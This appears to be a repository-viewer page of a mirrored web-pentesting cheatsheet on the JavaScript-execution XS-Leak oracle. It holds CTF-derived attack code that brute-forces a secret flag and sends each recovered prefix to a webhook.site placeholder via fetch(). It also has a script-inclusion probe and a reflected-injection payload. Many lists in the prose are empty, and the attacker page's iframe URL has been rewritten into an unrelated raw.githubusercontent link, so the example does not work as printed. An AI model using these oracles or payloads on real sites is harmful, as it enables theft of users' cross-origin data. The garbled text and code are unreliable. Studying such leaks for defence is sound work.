repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
javascript-execution-xs-leak.mdMarkdown252 lines9.4 KiBsource raw download

title: "JavaScript Execution XS Leak" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/xs-search/javascript-execution-xs-leak.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/javascript-execution-xs-leak.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

JavaScript Execution XS Leak#

This XS-Search primitive turns whether a cross-origin response executes as JavaScript into a Boolean oracle.[1]

The usual setup is:

This is basically an execution oracle, not a timing oracle. The only thing the attacker needs is a cross-origin script inclusion that behaves differently depending on the secret-dependent branch.

For the generic XS-Leaks background, see:

Readme

When This Works#

This technique is practical when all of the following are true:

In practice, the easiest cases are search/debug endpoints that:

Basic Example#

Server-side code that will try ${guess} as a flag prefix:

app.get("/guessing", function (req, res) {
  let guess = req.query.guess
  let page = `<html>
                <head>
                    <script>
                            function foo() {
                                // If not the flag this will be executed
                                window.parent.foo()
                            }
                        </script>
                    <script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
                </head>
                <p>hello2</p>
                </html>`
  res.send(page)
})

Main page that generates iframes to the previous /guessing page to test each possibility:

<html>
  <head>
    <script>
      let candidateIsGood = false
      let candidate = ""
      let flag = "bi0sctf{"
      let guessIndex = -1

      let flagChars =
        "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

      // this will get called from our iframe IF the candidate is WRONG
      function foo() {
        candidateIsGood = false
      }

      timerId = setInterval(() => {
        if (candidateIsGood) {
          flag = candidate
          guessIndex = -1
          fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
        }

        // Start with true and change to false if the guess is wrong
        candidateIsGood = true
        guessIndex++
        if (guessIndex >= flagChars.length) {
          fetch("https://webhook.site/<yours-goes-here>")
          return
        }
        let guess = flagChars[guessIndex]
        candidate = flag + guess
        let iframe = `<iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//guessing%3Fguess%3D%24%7BencodeURIComponent%28%0A%20%20%20%20%20%20%20%20%20%20candidate%0A%20%20%20%20%20%20%20%20%29%7D"></iframe>`
        hack.innerHTML = iframe
      }, 500)
    </script>
  </head>
  <p>hello</p>
  <div id="hack"></div>
</html>

The attacker logic is:[2]

  1. Start every candidate as "good".
  2. Load the target response as a script.
  3. If the response executes window.parent.foo(), mark the candidate as wrong.
  4. If no callback fires, keep the candidate and continue brute-forcing.

Minimal Probe Pattern#

In many real targets, an iframe is not required. A direct script inclusion is enough:[1]

<script>
  let hit = true
  function miss() {
    hit = false
  }

  function probe(url) {
    return new Promise((resolve) => {
      hit = true
      const s = document.createElement("script")
      s.src = url
      s.onload = () => resolve(hit)
      s.onerror = () => resolve(false)
      document.head.appendChild(s)
    })
  }
</script>

If the "wrong guess" branch reflects miss(), then:

For reliability, use a fresh script element per probe and add a cache-buster such as ?r=${crypto.randomUUID()}.

Modern Caveats#

It must be a classic script#

This primitive relies on the browser fetching the resource as a classic script. A plain <script src=...> without crossorigin is fetched in no-cors mode, which is exactly why this old pattern is still useful cross-origin.

Do not switch to type="module" for this technique:

MIME type and nosniff decide whether the payload executes#

Current browsers are stricter than older writeups. If the target sets X-Content-Type-Options: nosniff, the browser will block a script response whose MIME type is not a JavaScript MIME type.

That means this oracle often depends on:

This is also why some endpoints only give a leak in one branch: one response is accepted as script, while the other branch is blocked or parsed differently.

CORB can change the observable result#

CORB adds another branch to think about. If a response is considered CORB-protected, Chromium may turn it into an empty valid script response instead of surfacing a parse failure. So for some endpoints:

That is still a useful oracle, but the signal is now callback vs no callback or onload vs onerror, not just "JavaScript executed or not".

CSP can kill the attacker-controlled branch#

Strict CSP on the target response can break this primitive when the reflected branch is no longer executable JavaScript. Public XS-Leak challenge writeups from 2022 to 2024 repeatedly rely on this detail:

So when the obvious callback trick does not work, inspect response headers before discarding the endpoint.

Useful Variants#

Callback-parameter endpoints#

The most convenient target is a JSONP-style or debug endpoint that accepts a parameter such as:

If the "miss" branch reflects that value verbatim into executable JavaScript while the "hit" branch returns different content, you get a direct Boolean oracle with no timing measurement.

Syntax-preserving prefixes and suffixes#

Sometimes you cannot fully control the response body, but you can still make the negative branch execute:

For example, a reflected branch like:

showResult("<attacker>");

can often be turned into:

showResult("");window.parent.foo();//");

If the positive branch does not reflect that payload, the callback becomes the oracle.

Combining with event-based oracles#

If the endpoint is unstable across browsers, mix the execution oracle with the generic script load events already covered in the section index:[1]

This is especially useful when one branch yields valid JavaScript and another branch yields blocked MIME / CORB / CSP behavior.

Related pages:

Practical Notes#

References#